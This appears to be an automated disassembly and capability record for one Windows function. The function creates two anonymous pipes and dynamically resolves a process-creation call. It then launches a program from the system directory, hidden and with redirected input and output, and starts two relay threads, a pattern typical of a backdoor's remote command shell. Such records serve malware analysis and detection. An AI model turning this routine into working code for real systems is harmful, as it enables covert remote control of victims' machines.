Function at 0x10007788
Capabilities:
Create pipe
Create two anonymous pipes
Get common file path

Disassembly:
mov eax, 0x10010860
call fcn.1000fed4
sub esp, 0x16c
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 8]
mov dword [ebp - 0x30], esi
call fcn.10005f88
xor ebx, ebx
push 0x100150d0
push 0x10015054
mov dword [ebp - 4], ebx
mov dword [esi], 0x100112c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
xor eax, eax
lea edi, [ebp - 0x14]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop ecx
xor eax, eax
lea edi, [ebp - 0x70]
mov dword [ebp - 0x74], ebx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x28]
mov dword [ebp - 0x2c], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x177]
mov byte [ebp - 0x178], bl
push ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea ecx, [ebp - 0x18]
lea edi, [esi + 0x1c]
lea eax, [esi + 0x10]
push ecx
push edi
push eax
mov dword [eax], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
mov dword [edi], ebx
mov dword [ebp - 0x18], 0xc
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10007856
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x10007840
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [edi]
cmp edi, ebx
je 0x10007981
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10007981
lea eax, [ebp - 0x18]
push ebx
push eax
lea eax, [esi + 0x14]
push eax
lea eax, [esi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x10007890
mov eax, dword [esi + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, ebx
je 0x1000787d
push eax
call edi
mov eax, dword [esi + 0x18]
cmp eax, ebx
je 0x10007981
push eax
call edi
jmp 0x10007981
push 0x44
lea eax, [ebp - 0x74]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x2c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esi + 0x18]
push 0x104
mov dword [ebp - 0x3c], eax
mov eax, dword [edi]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x178]
mov dword [ebp - 0x74], 0x44
push eax
mov word [ebp - 0x44], bx
mov dword [ebp - 0x48], 0x101
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x178]
push 0x10015bec
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x2c]
pop ecx
push eax
lea eax, [ebp - 0x74]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
lea eax, [ebp - 0x178]
push ebx
push eax
call dword [ebp - 0x1c]
test eax, eax
jne 0x10007934
push dword [esi + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
push dword [esi + 0x14]
call ebx
push dword [esi + 0x18]
call ebx
push dword [edi]
call ebx
jmp 0x10007981
mov eax, dword [ebp - 0x2c]
push 1
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 0x28]
mov dword [esi + 0x24], eax
lea eax, [ebp + 0xb]
push eax
mov ecx, esi
mov byte [ebp + 0xb], 0x80
call fcn.10005fe3
mov ecx, esi
call fcn.10006028
push ebx
push ebx
push ebx
push esi
push 0x10007a83
push ebx
push ebx
call fcn.10008f19
push ebx
push ebx
push ebx
push esi
push 0x10007b15
push ebx
push ebx
mov dword [esi + 0x28], eax
call fcn.10008f19
add esp, 0x38
mov dword [esi + 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4